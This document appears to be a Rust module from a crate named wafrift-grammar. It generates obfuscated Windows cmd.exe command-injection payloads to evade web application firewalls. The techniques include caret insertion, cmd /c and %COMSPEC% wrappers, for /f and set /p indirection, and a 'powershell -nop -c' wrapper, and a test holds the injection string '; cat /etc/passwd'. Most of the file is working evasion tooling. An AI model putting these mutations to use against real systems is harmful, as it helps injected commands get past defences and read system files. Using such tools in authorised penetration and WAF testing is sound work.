wafrift-grammar 0.2.2

Grammar-aware payload mutation engine — SQL, XSS, CMD, LDAP, SSRF, path traversal, SSTI.
Documentation
//! Windows cmd.exe command injection grammar-aware mutation.
//!
//! Handles `cmd.exe`-specific syntax: caret escaping, `cmd /c`, `for /f`,
//! `set /p`, quote escaping, and `%variable%` expansion.

/// A single Windows CMD mutation with metadata.
#[derive(Debug, Clone)]
pub struct CmdWindowsMutation {
    /// The mutated payload.
    pub payload: String,
    /// Human-readable description of what changed.
    pub description: String,
    /// Which mutation rules were applied.
    pub rules_applied: Vec<&'static str>,
}

/// Detect Windows cmd.exe-specific signals.
#[must_use]
pub fn detect_type(payload: &str) -> bool {
    let lower = payload.to_ascii_lowercase();
    lower.contains("cmd ")
        || lower.contains("cmd.exe")
        || lower.contains("^")
        || lower.contains("for /f")
        || lower.contains("set /p")
        || lower.contains("%comspec%")
        || (lower.contains("type ") && !lower.contains("typeof"))
        || lower.contains("dir ")
        || lower.contains("findstr ")
        || lower.contains("powershell")
        || lower.contains("certutil")
}

/// Obfuscate a command using caret insertion (`c^a^t`).
fn caret_obfuscate(cmd: &str) -> String {
    cmd.chars()
        .map(|c| format!("{c}^"))
        .collect::<String>()
        .trim_end_matches('^')
        .to_string()
}

/// Generate Windows cmd.exe grammar-aware mutations.
#[must_use]
pub fn mutate(payload: &str, max_mutations: usize) -> Vec<CmdWindowsMutation> {
    if payload.is_empty() || max_mutations == 0 || !detect_type(payload) {
        return Vec::new();
    }
    let mut results = Vec::new();
    let lower = payload.to_ascii_lowercase();

    // Strategy 1: Caret escaping of common commands
    let cmds = ["type", "dir", "findstr", "certutil", "powershell", "cmd"];
    for cmd in &cmds {
        if lower.contains(cmd) {
            let obf = caret_obfuscate(cmd);
            let mutated = payload
                .replace(cmd, &obf)
                .replace(&cmd.to_ascii_uppercase(), &obf);
            if mutated != payload {
                results.push(CmdWindowsMutation {
                    payload: mutated,
                    description: format!("caret escape: {cmd}{obf}"),
                    rules_applied: vec!["caret_escape"],
                });
            }
        }
    }

    // Strategy 2: cmd /c wrapper
    results.push(CmdWindowsMutation {
        payload: format!("cmd /c \"{payload}\""),
        description: "cmd /c wrapper".into(),
        rules_applied: vec!["cmd_wrapper"],
    });
    results.push(CmdWindowsMutation {
        payload: format!("cmd.exe /c {payload}"),
        description: "cmd.exe /c wrapper".into(),
        rules_applied: vec!["cmd_wrapper"],
    });

    // Strategy 3: COMSPEC indirection
    results.push(CmdWindowsMutation {
        payload: format!("%comspec% /c {payload}"),
        description: "%COMSPEC% indirection".into(),
        rules_applied: vec!["comspec"],
    });

    // Strategy 4: for /f loop indirection
    results.push(CmdWindowsMutation {
        payload: format!("for /f \"tokens=*\" %a in ('{payload}') do %a"),
        description: "for /f loop indirection".into(),
        rules_applied: vec!["for_loop"],
    });

    // Strategy 5: set /p variable trick
    results.push(CmdWindowsMutation {
        payload: format!("set /p ={payload}<nul"),
        description: "set /p redirection trick".into(),
        rules_applied: vec!["set_p"],
    });

    // Strategy 6: Quote escaping
    results.push(CmdWindowsMutation {
        payload: format!("{payload}\"\"\" "),
        description: "quote escape padding".into(),
        rules_applied: vec!["quote_escape"],
    });

    // Strategy 7: Variable expansion bypass
    let var_expansions = [
        ("%pATh%", "%PATH% expansion case-mixed"),
        ("%tMp%", "%TMP% expansion"),
        ("%wiNDir%", "%WINDIR% expansion"),
    ];
    for (var, desc) in &var_expansions {
        results.push(CmdWindowsMutation {
            payload: format!("echo {var}"),
            description: (*desc).into(),
            rules_applied: vec!["var_expansion"],
        });
    }

    // Strategy 8: PowerShell obfuscation via cmd
    results.push(CmdWindowsMutation {
        payload: format!("powershell -nop -c \"{payload}\""),
        description: "powershell -nop -c wrapper".into(),
        rules_applied: vec!["ps_wrapper"],
    });

    results.truncate(max_mutations);
    results
}

#[cfg(test)]
mod tests {
    use super::*;

    #[test]
    fn detects_cmd_signals() {
        assert!(detect_type("cmd /c dir"));
        assert!(detect_type("t^y^p^e file.txt"));
        assert!(detect_type("for /f \"tokens=*\" %a in ('dir') do %a"));
    }

    #[test]
    fn caret_obfuscation_works() {
        assert_eq!(caret_obfuscate("type"), "t^y^p^e");
        assert_eq!(caret_obfuscate("dir"), "d^i^r");
    }

    #[test]
    fn generates_cmd_wrapper() {
        let mutations = mutate("dir C:\\", 10);
        assert!(mutations.iter().any(|m| m.payload.contains("cmd /c")));
    }

    #[test]
    fn generates_for_loop() {
        let mutations = mutate("dir C:\\", 10);
        assert!(mutations.iter().any(|m| m.payload.contains("for /f")));
    }

    #[test]
    fn rejects_non_windows_cmd() {
        assert!(!detect_type("; cat /etc/passwd"));
        assert!(mutate("hello world", 10).is_empty());
    }
}